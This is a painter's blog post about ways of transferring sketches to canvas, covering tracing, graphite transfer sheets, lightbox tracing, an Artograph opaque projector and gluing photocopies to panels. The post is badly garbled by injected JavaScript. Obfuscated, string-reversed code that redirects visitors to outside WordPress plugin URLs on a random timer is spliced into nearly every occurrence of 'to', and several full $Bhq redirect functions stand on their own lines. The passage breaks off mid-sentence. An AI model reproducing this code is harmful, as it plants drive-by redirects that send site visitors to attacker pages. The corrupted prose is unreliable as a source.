Recently, I was asked about the method I use toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to transfer my drawings toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the canvas. The only response toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this question of procedure I can honestly answer is that, when it comes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to transferring my ideas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to their final support, I am consistently inconsistent. That is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say, I have no particular method that I use all of the time. Rather, I will alter my approach depending the size of the sketch and/or the finished work, whether the finished painting will be executed using indirect or direct painting methods, whether or not the drawing will stand on its own as a work of art, the key of the painting, time constraints, and, frankly, a little bit of whim.
The earliest manner of transferring images I ever learned was tracing, which was introduced toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me when I was around five or six years old. I used the "Poor Man's Lightbox" method then, placing a page from one of my coloring books on the sliding glass door toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our backyard patio, and laying on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top of this a plain piece of 8 ½ X 11 typewriter paper. With the pieces of paper made translucent by the sunlight passing through them from behind, it was easy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to follow the contoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tours of the printed line-drawing with a graphite pencil and make a decent duplicate on the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top sheet. It worked well enough because of the lightweight paper being used, but, unfortunately, such a process cannot work with an opaque material, such as canvas. Nevertheless, it was an important youthful lesson, as nearly every method of transferring I use now involves tracing of some sort, either from the original toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a piece of transparent or translucent material, or on the original itself.
Since I normally do not work very large, I usually make my drawings the same size as my finished works, which makes transfers very easy. The most direct manner of transferring a drawing involves coating the entire backside of the original with graphite or charcoal, placing it image-side up on the final working surface, and using a stylus or writing implement toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to re-outline the original drawing. If the right amount of pressure is used, the charcoal or graphite outline will be transcribed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the canvas or panel, resulting in a good copy on which toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to paint. If for some reason I do not want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to coat the back of my original with graphite or charcoal, I can always make a transfer sheet by coating a thin piece of paper (e.g. tracing paper) with the graphite or charcoal, and placing this between my drawing and the work surface before re-outlining my image. The result is the same, though the use of the transfer sheet may require slightly more pressure toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make a good transfer. Once the drawing has been conveyed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the final surface, I will usually affix it with a sealant (e.g. spray shellac), or I will re-outline the drawing using thinned oil paint, and a fine "pencil" (a pointed, round brush). If the latter method is used, excess charcoal or graphite should be removed once the lines are dry, using a chamois or kneaded eraser. Either way, when the drawing is ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to paint over, there will not be much loose graphite or charcoal left toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mix with my paints and dirty the colors. I do not recommend using pre-made, commercial graphite transfer paper for this work, however, as the few times I have tried it were quite disappointing. Whatever binder is used toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to seal the graphite toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the commercial paper is rather waxy, and the lines which are transferred toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the work surface tend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to repel thinned paint and cause it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bead.
{if(typeof ($mWn.list[n])==)
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobias-013.jpg" height="588" width="640" />A similar method toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to what I just described involves the "lightbox procedure" I mentioned earlier. It is like using transfer paper, but in reverse. I place my drawing image-side down on a lightbox (or against a window), and trace my drawing on the back of the original. I can then place this on my work surface, image-side up, and go over my original drawing again with a stylus, ballpoint pen, 2H pencil, etc., toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create enough pressure toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to transfer the drawing. Of course, since the drawing has already been traced quite accurately on the back, I do not have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be very careful with how I apply pressure toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the frontside; even forceful scrubbing will work.
Without a lightbox, this process can also be done with tracing paper. After laying the tracing paper on the original, and outlining the drawing, flip the tracing paper over, and re-do the lines on the reverse. Place it right-side up on the canvas or panel, and using pressure, the drawing can be transferred toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the final support.
I actually prefer these latter two methods (what I am calling the "lightbox" method), toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the usual charcoal/graphite transfer method, because I feel that it is easier in these ways toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to preserve the character of my original linework. The former methods of transfer tend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to produce a line on the work surface that is a bit toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too uniform and lifeless for my tastes.
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to;margin-right: autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to"> |
| This old Artoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tograph DB400 that was auctioned off by Salt Lake Community College in 2013. The winning bid was only $25! |
When I worked as an illustratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, and time constraints were always an issue, I sometimes found myself turning toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to other methods for transcribing my sketches. Frequently I used an opaque projectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cast my image on the final surface, and trace its outlines in the darkness of my studio. In this manner I was able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to preserve my line character better, and if I needed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, I could also enlarge or shrink my original toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to suit the needs of my finish. This method also enabled me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do separate drawings of different elements in my work, and project them and trace them at different sizes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create the right montage on my final support; I did not have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to first complete a single drawing with all of the elements in their correct places before rushing intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my finish. At the time, I was using an old workhorse of a machine, the Artoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tograph DB400, which, as nice as it was for its time, did have some drawbacks. Firstly, the original sketches toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be projected could not be larger than 10 ½ X 10 ½ inches, otherwise they could not fit inside the machine; this often led toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me cutting up my drawings intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sections and projecting and tracing the parts piecemeal. Secondly, the design of the machine, with a heavy projection unit cantilevered over my drawing table, caused the head of the machine toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dip closer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my work surface than its rear did, thereby distoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torting the image. Try as I might toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to level the head with shims, I was never able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get the projection completely square. Eventually, my frustration over the distoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tortion caused me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to retire the DB400 early and move on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to other methods and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools. Today, there are digital projection units, including some made by $Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tograph.com/products/projectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor_led300.htm" target="_blank">Artoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tograph, which are likely a much better alternative toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to opaque projectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors.
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to;margin-right: autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to;text-align: center">
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: center">
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: center">
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: center">
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to;margin-right: autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to"> |
| Donatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Giancola leveling a drawing he has adhered toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a panel using a brayer. |
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: center">
The option I turned toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to after shelving my projectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor was what I came toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to refer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to as the "Donatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Method," so-called after the illustratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Donatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Giancola, who introduced me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the idea. Early in his career, Donatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to had devised a time-saving shortcut for transferring his drawings toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to panels – he simply photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocopied his originals, and glued them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a sheet of hardboard or plywood, and painted on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top of this. I personally cannot vouch for the durability of this technique, but I can say that he made every attempt at promoting the longevity of his works. He would use acid free paper that he would buy from an art supplier, and put that in the photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocopiers at businesses which offered blueprinting services or large-format copiers, and adhere the paper toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to panels using acrylic gel medium. My guess is that the most vulnerable part of his method is the copied image itself, which, if it did happen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fade, would likely have no lasting impact on the finished work, and may actually be a desirable side-effect of the process. I used the "Donatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Method" for many years, and I have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say it does offer many benefits. It is quick, it preserves the character and charm of the original drawing, and it preserves the original drawing itself, which, if by any chance something goes terribly wrong, can be copied again. By retaining the original sketch, you also have another piece of artwork toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sell if here is a market for your drawings. (My description of 